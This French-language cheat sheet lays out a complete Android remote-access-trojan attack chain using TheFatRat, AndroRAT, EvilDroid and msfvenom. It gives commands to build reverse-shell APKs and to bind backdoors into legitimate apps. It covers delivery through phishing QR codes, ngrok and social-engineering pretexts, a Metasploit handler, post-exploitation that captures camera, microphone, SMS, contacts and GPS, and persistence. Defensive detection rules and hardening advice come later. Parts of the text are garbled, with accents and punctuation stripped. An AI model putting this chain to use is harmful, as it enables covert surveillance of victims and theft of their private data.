Android RAT — TheFatRat / AndroRAT / EvilDroid
Génération de backdoors Android, chaîne d'attaque complète et contre-mesures : TheFatRat, AndroRAT, EvilDroid, détection et hardening mobile
Vue d'ensemble
Attaquant Victime AndroidTheFatRat/msfvenom APK malveillant installgnre APK backdooris social engineeringlance un handler MSFconnexion reverse TCP/HTTPaccs camra micro GPSSMS contacts shell
Trois outils couvrent cette chaîne :
- TheFatRat : génération de backdoors multi-plateformes (Windows, Linux, Android) avec listener intégré
- AndroRAT : RAT Android pur — bind sur APK légitime ou standalone
- EvilDroid : framework Android centré sur la création d'APK malveillants et l'exploitation de vulnérabilités ADB
Phase 1 — Préparation de l'environnement
# Installer TheFatRatgit clone https//github.com/Screetsec/TheFatRatcd TheFatRatchmod x setupsh && bash setupsh# Dépendances communesapt install metasploit-framework apktool android-tools-adb default-jdk -y# Vérifier msfvenom disponiblemsfvenom --version
# Installer AndroRAT (nécessite Java + Android SDK)git clone https//github.com/karma9874/AndroRATcd AndroRATpip3 install -r requirementstxt
Phase 2 — Génération du payload Android
TheFatRat — APK backdoor standalone
# Lancer TheFatRat (menu interactif)/fatrat# Option dans le menu :# [1] Create Backdoor# [9] Android — backdoor APK# Saisir :# LHOST : {{LHOST}}# LPORT : {{LPORT}}# Nom du fichier : {{APK_NAME}}.apk
# Alternative directe via msfvenom (sans menu)msfvenom -p android/meterpreter/reverse_tcpLHOST{{LHOST}} LPORT{{LPORT}}-o /tmp/{{APK_NAME}}apk# Ou reverse HTTP (passe mieux les pare-feux)msfvenom -p android/meterpreter/reverse_httpLHOST{{LHOST}} LPORT80-o /tmp/{{APK_NAME}}apk
TheFatRat — Backdoor injectée dans un APK légitime
# Option dans TheFatRat :# [1] Create Backdoor → [11] Inject into existing APK# APK légitime source : {{LEGIT_APK}}.apk# Résultat : APK d'apparence identique + backdoor persistante# Ou via msfvenom directement :msfvenom -p android/meterpreter/reverse_tcpLHOST{{LHOST}} LPORT{{LPORT}}-x {{LEGIT_APK}}apk-o {{OUTPUT_APK}}apk
AndroRAT — RAT Android avec interface web
cd AndroRATpython3 androratpy --build--host {{LHOST}}--port {{LPORT}}--name "{{APP_DISPLAY_NAME}}"--icon /path/to/icon.png--output {{OUTPUT_APK}}apk# Lancer le serveur C2 AndroRATpython3 androratpy --start --port {{LPORT}}# Interface web disponible sur http://{{LHOST}}:{{WEB_PORT}}
EvilDroid — Génération et binding APK
# EvilDroid (interface CLI)python3 evildroidpy# Sélectionner :# [1] Generate Payload → Android Meterpreter# [2] Bind with original APK (chemin vers APK légitime)# LHOST : {{LHOST}}# LPORT : {{LPORT}}# Résigne l'APK automatiquement avec un certificat auto-signé# → Contourne la vérification de signature Android de base
Phase 3 — Livraison (Social Engineering)
# Servir l'APK via HTTP localpython3 -m httpserver 8080 --directory /tmp/# URL : http://{{LHOST}}:8080/{{APK_NAME}}.apk# Phishing QR code pointant vers l'APKqrencode -o qrpng "http://{{LHOST}}:8080/{{APK_NAME}}.apk"# Ou via Ngrok pour exposer sur internet (lab uniquement)ngrok http 8080# → URL publique HTTPS à envoyer à la cible
Prétextes courants utilisés pour forcer l'installation :
- "Mise à jour obligatoire de l'application X"
- "Application interne de l'entreprise — APK à installer manuellement"
- "Application de suivi COVID / badge d'accès"
La victime doit activer "Sources inconnues" (Android < 8) ou autoriser l'installation depuis le navigateur (Android 8+).
Phase 4 — Listener et prise de contrôle
Listener Metasploit (TheFatRat / msfvenom)
msfconsole -quse exploit/multi/handlerset PAYLOAD android/meterpreter/reverse_tcpset LHOST {{LHOST}}set LPORT {{LPORT}}set ExitOnSession falseexploit -j # -j = job en arrière-plan, accepte plusieurs sessions
Post-exploitation Meterpreter Android
# Lister les sessions activessessions -l# Interagir avec une sessionsessions -i {{SESSION_ID}}# ─── Géolocalisation ───geolocate # GPS + réseau# ─── Caméra ───webcam_list # lister les caméraswebcam_snap -i 1 # photo caméra arrièrewebcam_stream -i 2 # flux live caméra avant# ─── Micro ───record_mic -d 30 # enregistrement audio 30s# ─── SMS / Contacts ───dump_sms # tous les SMSdump_contacts # carnet d'adresses complet# ─── Fichiers ───ls /sdcard/DCIM/ # photosdownload /sdcard/DCIM/{{FILE}} # télécharger un fichier# ─── Shell ───shell # shell Android (root si appareil rooté)id # droits actuels
Post-exploitation AndroRAT (interface web)
http//{{LHOST}}{{WEB_PORT}}Slectionner lappareil connectCommandes disponiblesLocalisation GPS temps relPhoto vido microSMS envoi lectureAppels entrants/sortantsClipboardFichiers browse upload downloadNotifications systme
Phase 5 — Persistance
# Dans le shell Meterpreter Android# Relancer le payload au démarrage de l'appareilrun post/android/manage/schedule_task# Vérifier les permissions de l'APK (doit inclure RECEIVE_BOOT_COMPLETED)run post/android/gather/app_list# Wakelock — empêche la mise en veille qui coupe la sessionrun android/meterpreter/wakelock
# Persistance via ADB (si débogage USB activé sur l'appareil)adb devices # lister les appareils connectésadb install {{BACKDOOR_APK}}apk # installer silencieusementadb shell pm list packages # vérifier l'installationadb shell am start -n {{PACKAGE}}{{ACTIVITY}} # forcer le lancement
Défense — Détection des APK malveillants
# Analyser un APK suspect avec apktool (décompile le bytecode)apktool d {{SUSPECT_APK}}apk -o /tmp/apk_decoded/# Chercher des permissions suspectes dans AndroidManifest.xmlgrep -E "RECORD_AUDIO|CAMERA|READ_SMS|ACCESS_FINE_LOCATION|RECEIVE_BOOT"/tmp/apk_decoded/AndroidManifest.xml# Chercher des IPs / domaines codés en durgrep -rE "([0-9]{1,3}\.){3}[0-9]{1,3}" /tmp/apk_decoded/smali/# Analyser avec MobSF (Mobile Security Framework)docker run -it --rm -p 80008000 opensecurity/mobile-security-framework-mobsflatest# → Uploader l'APK sur http://localhost:8000# → Rapport statique + dynamique complet
# Vérifier la signature d'un APKapksigner verify --print-certs {{SUSPECT_APK}}apk# Signature auto-signée = APK non officiel → suspect# Vérifier les certificats (un APK légitime a un cert de l'éditeur)keytool -printcert -jarfile {{SUSPECT_APK}}apk
Défense — Détection réseau
# Sur le réseau : détecter les connexions reverse TCP/HTTP depuis Android# Ports courants des RAT : 4444 (MSF default), 8080, 9999, 443# Wireshark / tcpdump — filtrer les connexions suspectes depuis mobilestcpdump -i {{INTERFACE}} -w mobile_trafficpcap host {{MOBILE_IP}}# Chercher les connexions TCP persistantes vers des IPs non répertoriées# Signature : connexion longue durée, faible volume, periodic beacon# Sur le mobile (si accès ADB) — lister les connexions activesadb shell netstat -antp | grep ESTABLISHEDadb shell ss -tulnp
Règle Suricata/Snort — détection Meterpreter Android
# Détection Meterpreter reverse_tcp sur port non standardalert tcp $HOME_NET any > $EXTERNAL_NET 443msg"Possible Android Meterpreter reverse_tcp";flowestablishedto_server;content"|00 01 00 01|";threshold type both track by_src count 5 seconds 60;sid9000001; rev1;
Défense — Hardening Android
Paramtres ScuritSources inconnues DSACTIV ne jamais activer sauf sideload volontaireVrification des applications Google Play Protect ACTIVDbogage USB DSACTIV activer uniquement en devMode dveloppeur DSACTIVParamtres Applications PermissionsRvoquer RECORD_AUDIO CAMERA ACCESS_FINE_LOCATION sur les apps non ncessairesVrifier les apps avec permission RECEIVE_BOOT_COMPLETED persistanceParamtres RseauVPN actif sur rseaux non matrissDNS over HTTPS activ Android 9 DNS priv
# MDM / EMM — politique de sécurité enterprise (ex: Microsoft Intune)# Bloquer l'installation d'APK hors Play Store# Enforcer le chiffrement complet du stockage# Wipe à distance si appareil compromis# Google Play Protect — vérification manuelle# Paramètres → Sécurité → Google Play Protect → Analyser maintenant
Checklist défensive — Mobile
Référence — Permissions Android à risque
| Permission | Usage légitime | Abus RAT |
|---|---|---|
| RECORD_AUDIO | Enregistreur vocal, appels | Écoute micro permanente |
| CAMERA | Appareil photo | Photo/vidéo silencieuse |
| ACCESS_FINE_LOCATION | Maps, navigation | Géolocalisation temps réel |
| READ_SMS / RECEIVE_SMS | Authenticators 2FA | Vol OTP, SMS banking |
| READ_CONTACTS | Apps messagerie | Exfiltration carnet |
| RECEIVE_BOOT_COMPLETED | Alarmes, sync | Persistance au démarrage |
| PROCESS_OUTGOING_CALLS | Enregistreurs d'appels | Écoute des appels |
Ces outils génèrent des APK détectés par la majorité des antivirus mobiles et Google Play Protect. Sur un appareil Android à jour avec Play Protect actif, l'installation est bloquée ou signalée. L'efficacité réelle dépend entièrement de l'ingénierie sociale pour convaincre la victime de désactiver les protections.
Pour un pentest Android autorisé, préférer drozer (audit d'app) et frida (hooking dynamique) à un RAT brut. Les RAT type TheFatRat sont utiles pour démontrer le vecteur à un client, mais drozer + MobSF donnent une analyse de surface d'attaque bien plus exploitable dans un rapport professionnel.